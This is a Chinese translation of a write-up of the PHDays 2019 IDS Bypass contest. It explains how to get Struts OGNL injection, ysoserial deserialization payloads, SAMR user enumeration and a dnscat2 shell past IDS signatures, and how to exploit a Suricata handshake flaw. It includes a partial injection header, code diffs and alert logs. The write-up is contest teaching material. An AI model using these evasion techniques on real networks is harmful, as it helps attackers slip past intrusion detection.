PHDays的IDS Bypass竞赛:writeup和解决方案

2019-07-09 约 506 字 预计阅读 3 分钟

声明:本文 【PHDays的IDS Bypass竞赛:writeup和解决方案】 由作者 Pinging 于 2019-07-09 09:10:00 首发 先知社区 曾经 浏览数 119 次

感谢 Pinging 的辛苦付出!

2019年的Positive Hack Days包括有史以来第一次IDS Bypass比赛。 参与者必须研究五个主机的网段,然后利用服务漏洞或满足特定标准(例如发送某个HTTP响应)以获得flag。 找到漏洞很容易,但是IDS会让参与者和主机之间的连接变得复杂,检查每个网络数据包。 当签名阻止连接时,通过屏幕通知参与者。 以下是有关任务的详细信息以及解决这些问题的方法。

100.64.0.11 – Struts

相比较来说,多个参与者解决了Struts任务。 使用Nmap进行端口扫描后,用户可以在端口8080上找到Apache Struts。

# nmap -Pn -sV -p1-10000 100.64.0.11
631/tcp  open  ipp     CUPS 2.1
8005/tcp open  mxi?
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

使用2017年的Apache Struts漏洞,攻击者可以执行OGNL注入以获取远程代码执行(RCE)。 可以使用漏洞(例如在GitHub上),但IDS可以轻松检测到它:

[Drop] [**] [1:1001:1] Apache Struts2 OGNL inj in header (CVE-2017-5638) [**]

参与者无法使用签名代码。 但是日志消息清楚地说明了它是如何工作的。 在这种情况下,签名检测到OGNL注入HTTP

GET /showcase.action HTTP/1.1
Accept-Encoding: identity
Host: 100.64.0.11:8080
Content-Type: %{(#_='multipart/form-data')...

研究IDS的行为后,很明显IDS正在对Content-Type标头开头的组合%{做出反应。 以下有几种方法:

1 @empty_jack尝试使用他自己的字典分隔%{符号进行模糊测试,使用字符串Content-Type:%$ {进行解决。

2 模糊HTTP请求本身。@ c00lhax0r发现标题开头的空符号也会滑过IDS:Content-Type:\ 0 $ {

3 CVE-2017-5638的大多数漏洞都以百分号注入。 然而,一些研究此类Apache Struts漏洞的研究人员声称,注入可以很容易地从$开始。 因此组合$ {将绕过IDS签名并在系统上执行代码。 这是我们最初想到的解决方案。

这项任务最简单:八位参与者找到了解决方案。

100.64.0.10 — Solr

端口8983托管了一个Apache Solr服务器(用Java编写)。

$ nmap -Pn -sV -p1-10000 100.64.0.10
22/tcp   open  ssh     (protocol 2.0)
8983/tcp open  http    Jetty

查找Apache Solr 5.3.0的漏洞利用很简单:CVE-2019-0192。 攻击者可以欺骗集合中的RMI服务器的地址。 利用需要ysoserial框架,它生成Java对象链并以各种方式提供它们。 例如使用JRMP服务器。

当然,继续使用漏洞而不首先使用它只会触发IDS:

[Drop] [**] [1:10002700:3001] ATTACK [PTsecurity] Java Object Deserialization RCE POP Chain (ysoserial Jdk7u21) [**]

Jdk7u21只是30种可能的payload之一。 payload的选择取决于易受攻击的服务中使用的库。Jdk7u21小工具链仅使用Java Development Kit(JDK)版本7u21中的标准类,而CommonsCollections1链包含来自广泛使用的Apache Commons Collections 3.1的类。

攻击者可以使用其他服务器替换Solr集合中的RMI服务器地址,然后启动JRMP服务器。 Solr从攻击者指示的地址请求对象并接收恶意Java对象。 对象反序列化后,其代码在服务器上执行。

签名由序列化Java对象中的类序列触发。 从攻击者的计算机发送,以下是对象在流量中的启动方式:

这个任务的解决方案很简单。 签名明确命名为Jdk7u21。 要绕过签名必须尝试其他工具链。例如CommonsCollections, IDS没有其他连锁的签名。 然后参与者将获得系统上的shell并读取标志。 五名参与者成功完成了这项任务。

100.64.0.12 – SAMR

这是最棘手和最有趣的任务之一。 目标是具有开放端口445Windows计算机。该标志分为两个用户名,因此完成任务需要枚举所有Windows用户。

当然,MS17-010和其他漏洞在这台计算机上不起作用。 可以使用脚本获取用户列表,例如来自Nmap或Impacket的脚本:

$ python samrdump.py 100.64.0.12
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Retrieving endpoint list from 100.64.0.12
[*] Trying protocol 445/SMB…
Found domain(s):
 . SAMR
 . Builtin
[*] Looking up users in domain SAMR
[-] The NETBIOS connection with the remote host timed out.
[*] No entries received.

两个脚本都在端口445上向计算机发送DCERPC请求。但事情并非如此简单。 一些数据包被IDS阻止,不仅触发一个,而且触发两个签名:

[**] [1:2001:2] SAMR DCERPC Bind [**]
[Drop] [**] [1:2002:2] SAMR EnumDomainUsers Request [**]

第一个签名检测到与SAMR的连接并标记TCP连接。 第二个签名由SAMR EnumDomainUsers请求触发。 SAMR提供了获取用户列表的其他方法:QueryDisplayInfo,QueryDisplayInfo2和QueryDisplayInfo3。 所有这些都被签名阻止了。

DCERPC协议和Windows服务包含大量远程管理功能。 大多数着名的工具,如PsExec和BloodHound,都使用DCERPC。 SAMR(“SAM远程协议”)允许使用主机上的帐户,包括用户列表的枚举。

要发出EnumDomainUsers请求,这是Impacket的作用:

通过SMB建立到SAMR的DCERPC连接,并且在SAMR上下文中发送所有后续请求。 签名由屏幕截图中的第一个和最后一个数据包触发。

在比赛中,为此任务提供了两条线索:

  • 尝试使IDS生成2个警报。 仔细看第一个。

  • 我们知道该协议的哪些连接命令?

我们的想法是开始考虑DCERPC和不同的连接方法。 在用于连接和更改上下文的可用PDU列表中,我们找到了Bind和Alter Context命令。 Alter Context允许在不中断连接的情况下更改当前上下文。

要获得解决方案,我们需要重新编写samrdump脚本:

1 绑定到其他服务,例如UUID 3919286a-b10c-11d0-9ba8-00c04fd92ef5。
2 使用Alter Context切换到SAMR。
3 发出EnumDomainUsers请求。

所有改变均满足以下条件:

<         dce.bind(samr.MSRPC_UUID_SAMR)
---
>         dce.bind(uuid.uuidtup_to_bin(("3919286a-b10c-11d0-9ba8-00c04fd92ef5", "0.0")))
>         dce.alter_ctx(samr.MSRPC_UUID_SAMR)
>         dce._ctx = 1

竞赛获胜者@psih1337还提出了另一种解决方案。 EnumDomainUsers返回按SID而不是按名称排序的用户列表。 但SID不是随机数。 例如,LocalSystem帐户的SIDS-1-5-18。 对于手动创建的组或用户,SID为1000或更高。

因此,如果我们手动强制使用1000到2000之间的SID,很可能会找到正在寻找的帐户。 在我们的例子中,SID分别为1008和1009。

此任务需要了解DCERPC协议以及调查Windows基础结构的一些经验。 @ psih1337是唯一一个解决这个任务的人。

100.64.0.13 – DNSCAT

端口80托管一个网页,其中包含用于输入IP地址的表单。

如果键入自己的IP地址,端口53将接收UDP,如下所示:

17:40:45.501553 IP 100.64.0.13.38730 > 100.64.0.187: 61936+ CNAME? dnscat.d2bc039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173)
17:40:45.501639 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209
17:40:46.520457 IP 100.64.0.13.38730 > 100.64.0.187: 21842+ TXT? dnscat.7f4e039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173)
17:40:46.520546 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209

它显然是DNSCAT,一种用于DNS隧道的工具。 在表单中键入IP地址时,DNSCAT客户端会尝试连接到该地址。 如果尝试成功,则服务器(换句话说,参与者)在竞赛计算机上获得shell并收集标志。

当然,如果我们只是尝试提升DNSCAT服务器并接受连接,那就没有这样的运气了:

[Drop] [**] [1:4001:1] 'dnscat' string found in DNS response [**]

IDS签名由来自我们服务器的流量中的字符串“dnscat”触发 - 从消息中可以清楚地看出这一点。 模糊或加密流量将无法正常工作。

但是看一下客户端代码,我们发现检查不是太严格。 响应根本不需要包含“dnscat”字符串! 我们只需要从代码中删除字符串,或者在NetSED的帮助下即时替换它。 在运行中交换它要容易得多,但这里是服务器代码的补丁,以防万一:

diff -r dnscat2/server/libs/dnser.rb dnscat2_bypass/server/libs/dnser.rb
<           segments << unpack("a#{len}")
>           segments << [unpack("a#{len}")[0].upcase]

<         name.split(/\./).each do |segment|
>         name.upcase.split(/\./).each do |segment|

diff -r dnscat2/server/tunnel_drivers/driver_dns.rb dnscat2_bypass/server/tunnel_drivers/driver_dns.rb
<         response = (response == "" ? "dnscat" : ("dnscat." + response))
>         response = (response == "" ? "dnsCat" : ("dnsCat." + response))

五位参与者迎接了挑战。

100.64.0.14 – POST

没有参赛人员完成此任务。

我们看到了现在熟悉的输入IP地址的形式,邀请我们参与测试新的恶意软件。 其中一个新技巧是以某种未知的方式绕过IDS。 要获取该标志,您需要做的就是发送HTTP标头“Server:ng1nx”作为响应。

正如预期的那样,我们在我们的IP地址处获得GET请求并发送响应,该响应被IDS阻止。

[Drop] [**] [1:5002:1] 'ng1nx' Server header found. Malware shall not pass [**]

以下是给与会者的提示:
有时,看起来很难的任务是最简单的。 如果没有什么东西看起来很脆弱,也许你在鼻子底下遗漏了什么东西?

IDS就是“你的鼻子下的东西”。 在检测页面上可以看到我们正在处理未受保护的Suricata IDS。

搜索“Suricata IDS Bypass”以及获得的第一个链接指向CVE-2018-6794。 如果正常的TCP握手过程中断并且数据在过程完成之前发送,则此漏洞允许绕过数据包检查。 它看起来像这样:

Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server   # 1/2
Client    <- 2="" ack="1] " eq="0" evil="" font="" nbsp="" server="">
Client    <- ack="1] " data="" eq="1" evil="" font="" here="" nbsp="" server="">
Client    <- ack="1] " eq="83" evil="" font="" nbsp="" server="">
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server   # 3/2
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server

我们下载漏洞,将字符串更改为“ng1nx”,禁用内核重置(RST)数据包,然后运行它。

如上所述,没有人能够得到这个flag,尽管一些参与者非常接近。

结论

49人报名参加比赛,其中12人成功收集了至少一个flag。 任务可以有多个解决方案,尤其是涉及SMB和DCERPC的任务。

本文为翻译稿件,来自:http://blog.ptsecurity.com/2019/07/ids-bypass-contest-at-phdays-writeup.html

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now